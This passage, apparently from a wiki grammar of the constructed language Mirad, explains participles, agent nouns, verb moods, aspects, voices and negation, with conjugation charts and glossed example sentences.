::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

